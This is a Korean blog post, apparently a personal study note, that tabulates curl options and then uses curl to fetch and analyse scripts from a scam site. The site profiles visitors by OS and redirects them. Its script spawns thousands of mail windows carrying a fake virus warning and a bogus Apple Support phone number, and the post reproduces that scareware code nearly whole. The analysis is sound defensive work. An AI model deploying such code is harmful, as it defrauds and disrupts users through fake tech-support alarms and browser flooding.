앗.. curl은 wget과 같은 명령어란다.. 난 왜 이걸 몰랐지..? 반성하고 대충 정리 한번 해보자!
마크다운 사용할려고 하는데... 완전 어색하고 정리 더 안되는 듯하다... 빨리 익숙해지자!curl은 cmd line용으로 data transfer tool이다. download와 upload 모드가 있다. 지원하는 프로토콜은 HTTP/HTTPS/FTP/LDAP/SCP/TELNET/SMTP/POP3 등이 있다. 운영체제는 여러가지 운영체제를 지원하기 때문에 매우 편한 도구다.libcurl이라는 C기반의 라이버르리를 제공하기 때문에 C/C++에서 새발시 매우 쉽게 구현이 가능하다. 또는 PHP, ruby, Perl 등 여러 언어에서 지원한다.
설치는 쉽게 설치가 가능하니 각자 찾아 보자. 본인은 OSX를 사용하기 때문에 brew를 사용해 설치 했다.
# brew install curl
위의 방법을 사용해서 설치가 가능하며 입력은
curl [options...] url
형태로 입력을 받는다. 옵션을 정리하면 다음과 같다.short | long | 설명 | 비고 |
---|---|---|---|
-k | –insecure | https 사이트를 SSL cerificate 검증 없이 연결 | wget의 –no-check-certificate와 비슷한 역할을 수행 |
-l | –head | HTTP header만 보여주고 content는 표시 하지 않음 | |
-D | –dump-header file | file에 http header를 기록 | |
-L | –location | 서버에서 HTTP 301이나 HTTP 302응답이 왔을 경우 redirection URL로 따라간다. –max-redirs 뒤에 숫자로 redirection을 몇번 따라갈지 지정할 수 있다. 기본 값을 50이 지정된다 | |
-d | –data | HTTP Post data | FORM을 POST하는 HTTP나 JSON으로 데이터를 주고 받는 REST 기반의 웹 서비스 디버깅시 유용한 옵션 |
-v | -verbose | 동작하면서 자세한 옵션 출력 | |
-J | –remote | 어떤 웹서비스는 파일 다운로드시 Content-Disposition Header를 파싱해야 정확한 파일이름을 알 수 있을 경우가 있다. -J 옵션을 주면 헤더에 있는 파일 이름으로 저장한다. | curl 7.20 이상부터 추가됨 |
-o | –output FILE | crul은 remote에서 받아온 데이타를 기본적으로 콘솔에 출력한다. -o 옵션을 주고 뒤에 FILE을 적어주면 해당 FILE로 저상한다. | |
-s | –silent | 진행 내역이나 메시지 등을 출력하지 않음. -o 옵션으로 remote data도 /dev/null로 보내면 결과물도 출력되지 않는다 | HTTP response code만 가져오거나 할 경우 유리 |
내가 curl을 알게 된건 어제 맥 관련하여 이슈가 하나 있었는데.. 어떻게 이런걸 분석할 수 있을까 알아보면서 였다.. 결국 포스팅 해야지 했던 이슈는 @n0fate에게 뺏겼다.. 자세한 내용은 @n0fate blog에서 확인할 수 있다.우선 curl을 사용해서 내가 코드를 얻고 싶은 사이트를 확인해 봤다.
curl safari-get.net
위 코드를 통해 다음과 같이 코드를 얻을 수 있었다. 파일 저장을 위해서는
-o
옵션을 사용할 수 있겠지?<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-73784359-12', 'auto');
ga('send', 'pageview');
</script>
<body>
<script src="//code.jquery.com/jquery-1.12.0.min.js"></script>
<script language=javascript>
if ((navigator.userAgent.match(/OS 10.1.1/i))) {
location.replace("http://safari-get.com/11.php");
} else
{
location.replace("http://safari-get.com/10.html");}
</script>
위 코드를 설명하면 접속한 사용자의 정보를 구글 애널리틱스(google analytics)에 전송하여 접속한 사용자의 운영체제 정보를 직별하여 리다이렉션 시키는 코드임을 확인할 수 있다. 링크를 접속하게 되면 OS 운영체제가 10.1.1일 경우는 11.php로 리다이렉션되고 그외에는 10.html을 리다이렉션한다.여기서 구글 애널리틱스는 클라이언트 정보를 수집해 통계 정보를 제공하는 서비스 인 것으로 보인다. 더 깨끗한 포스팅은 n0fate블로그에서 확인
11.php
11.php를 다운 받기 위해서는 아래와 같이 curl을 사용할 수 있다.curl safari-get.net/11.php
사용해서 받으면 아래와 같이 코드를 획득할 수 있다. 필요없는 부분을 날리고 중요한 부분만 보자. ``` ```
11.php는 아이튠즈를 이용해 메일앱을 띄우려고 시도 한다. n0fate 포스팅을 통해 확인하면 실험해보면 메일 앱은 하나만 실행되게 되고 자체적으로 아이튠즈 앱이 여러개 뜨는 구조를 가지고 있지 않기 때문이라고 한다
10.html
Editing:
/home/safarmcl/public_html/port-safari.net/ios.html
Encoding: Re-open Use Code Editor Close Save Changes
...
<script src="//code.jquery.com/jquery-1.12.0.min.js"></script>
<script type="text/javascript">
var extraData = "";
for (itxextraData = 0; itxextraData < 1; itxextraData++) {
var extraData = "Immediately Call " + "Apple Support +1-844-423-2465. Your credit card details and banking information.Your e-mail passwords and other account passwords.Your Facebook, Skype, AIM, ICQ and other. Call Apple Support +1-844-423-2465. Your private photos, family photos and other sensitive files.Your webcam could be accessed remotely by stalkers with a VPN virus. ";
}
jQuery('#result').append('<a href="mailto:foo@example.com?&body=Apple%20Tech%20Support%20!cc=bar@example.com&subject=Warning!%20Virus%20Detected!%20%20%20%20%20%20%20' + extraData + '"></a>');
document.querySelector('a').click(0);
다음 코드를 보면 extraData 변수에 너님 노트북 VPN 바이러스에 감염되서 웹캠에 원격으로 접속 가능함 ㅇㅇ
이라는 내용을 저장하며 jquery를 통해 "mailto:foo@example.com?&body=Apple%20Tech%20Support%20!cc=bar@example.com&subject=Warning!%20Virus%20Detected!%20%20%20%20%20%20%20' + extraData + '"
를 시도하는 것을 확인할 수 있다.extraData에 변수 값을 넣어주면 다음과 같은 내용임을 확인할 수 있다.
"mailto:foo@example.com?&body=Apple%20Tech%20Support%20!cc=bar@example.com&subject=Warning!%20Virus%20Detected!%20%20%20%20%20%20%20 Immediately Call Apple Support +1-844-423-2465. Your credit card details and banking information.Your e-mail passwords and other account passwords.Your Facebook, Skype, AIM, ICQ and other. Call Apple Support +1-844-423-2465. Your private photos, family photos and other sensitive files.Your webcam could be accessed remotely by stalkers with a VPN virus."
위 변수 값을 정리하면 다음과 같이 정리할 수 있다. 우선
mailto:
는 mailto 태그를 호줄하는 부분으로 메일을 실행 시키도록 만드는 태그다. foo@example.com
은 전송될 메일 주소이며, &body=Apple%20Tech%20Support%20!
는 본문내용이 된다. %20은 띄어쓰기로 사용되므로 Apple Tech Support !라는 내용의 본문 내용을 가지게 된다.cc=bar@example.com
는 메일 참조로 지정되는 값이며, subject=Warning!%20Virus%20Detected!%20%20%20%20%20%20%20 Immediately Call Apple Support +1-844-423-2465...
은 메일의 제목이 된다. 이렇게 생성된 코드는 아래 코드를 통해 무수히 많은 메일 앱을 실행하게 된다.해당 mailto는 애플 가이드 라인을 참조하면 확인 가능하다.
다음은 위 mailto를 10만번 실행 시키는 루프문이다.
for(var i=0;i<100000;i++){
if(i>0) {
document.querySelector('a').click();
for(var x=0;x<10000;x++){
console.log();
}
} else {
document.querySelector('a').click();
for(var x=0;x<100000;x++){
console.log();
}
}
}
</script>
</html>
다음과 같이 악성 웹사이트의 스크립트를 curl로 수집하여 분석하느 내용을 다루어 봤다.. curl 공부할려고 적은 내용인데 결국 safari-get.net 스크립트 내용이 더 커진 듯 하다..흠..여튼 ! 다음번에 분석하게 되면 더 분석해 보자!참조
n0fateMalwarebyte
아 지금 보니 빼먹은 부분이 있네..귀찮으니까..패스..
답글삭제